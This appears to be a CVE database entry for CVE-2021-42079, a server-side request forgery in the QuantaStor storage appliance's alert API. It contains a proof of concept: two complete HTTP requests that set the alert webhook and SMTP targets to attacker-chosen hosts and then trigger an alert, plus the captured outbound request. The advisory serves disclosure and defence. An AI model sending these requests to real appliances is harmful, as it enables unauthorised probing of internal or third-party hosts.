CVE-2021-42079

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

• CWE-918
• CWE-918

• https://cisrt.divd.nl/DIVD-2021-00020/
• https://csirt.divd.nl/CVE-2021-42079Third Party Advisory
• https://www.osnexus.com/products/software-defined-storageProduct
• https://www.wbsec.nl/osnexusThird Party Advisory
• https://csirt.divd.nl/CVE-2021-42079Third Party Advisory
• https://www.divd.nl/DIVD-2021-00020
• https://www.osnexus.com/products/software-defined-storageProduct
• https://www.wbsec.nl/osnexusThird Party Advisory

Published

Jul 10, 2023

Last Modified

Jun 17, 2026

Status

Modified

• One Click Account Takeover in GranolaHow a notification link broke out of Electron and led to a one-click account takeover.
• Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
• PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
• AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.

• CVE-2021-42073An issue was discovered in Barrier before 2.4.0. An attacker…8.2
• CVE-2021-42074An issue was discovered in Barrier before 2.3.4. An unauthen…7.5
• CVE-2021-42075An issue was discovered in Barrier before 2.3.4. The barrier…7.5
• CVE-2021-42076An issue was discovered in Barrier before 2.3.4. An attacker…7.5
• CVE-2021-42077PHP Event Calendar before 2021-09-03 allows SQL injection, a…9.8
• CVE-2021-42078PHP Event Calendar through 2021-11-04 allows persistent cros…6.1
• CVE-2021-4208The ExportFeed WordPress plugin through 2.0.1.0 does not san…7.2
• CVE-2021-42080An attacker is able to launch a Reflected XSS attack using a…7.4
• CVE-2021-42081An authenticated administrator is allowed to remotely execut…7.2
• CVE-2021-42082Local users are able to execute scripts under root privilege…7.8
• CVE-2021-42083An authenticated attacker is able to create alerts that trig…5.4
• CVE-2021-42084An issue was discovered in Zammad before 4.1.1. An attacker …6.5